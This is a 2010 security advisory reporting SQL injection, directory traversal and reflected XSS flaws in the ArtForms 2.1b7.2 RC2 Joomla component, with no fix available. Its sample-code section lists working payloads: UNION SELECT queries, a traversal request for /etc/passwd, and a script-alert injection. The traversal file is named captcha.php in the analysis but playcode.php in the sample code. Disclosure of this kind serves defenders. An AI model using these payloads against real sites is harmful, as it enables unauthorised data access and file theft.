ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities

ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities

Name ArtForms
Vendor http://joomlacode.org/gf/project/jartforms/
Versions Affected 2.1b7.2 RC2

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-07-07

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX

I. ABOUT THE APPLICATION

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ArtForms is a popular Joomla component.
The ArtForms component is a package for an easy From
Generator for Joomla 1.0.xx. It allows you to generate
as much Forms as you like, you can define all fields
that you need and also make file upload and attachment
possible.

II. DESCRIPTION

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Some parameters are not sanitised before being used in
SQL queries and in danger PHP's functions.
The vulnerabilities are reported in version 2.1b7.2 RC2.
Other versions may also be affected.

III. ANALYSIS

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Summary:

A) Multiple SQL Injection
B) Directory Traversal
C) Reflected XSS

A) Multiple SQL Injection

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The parameters viewform and id are not properly sanitised
before being used in a SQL query.This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.

B) Directory Traversal

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The l parameter in alikon/captcha.php is not properly
sanitised before being used to create a path for a file
that will be downloaded.This can be exploited to download
arbitrary files from local resources via directory
traversal attacks.

C) Reflected XSS

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The afmsg parameter is not properly sanitised before
being printed.This allows the execution of arbitrary HTML
code.

IV. SAMPLE CODE

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A) Multiple SQL Injection

index.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23

B) Directory Traversal

http://site/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00

C) Reflected XSS

index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>

V. FIX

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No fix.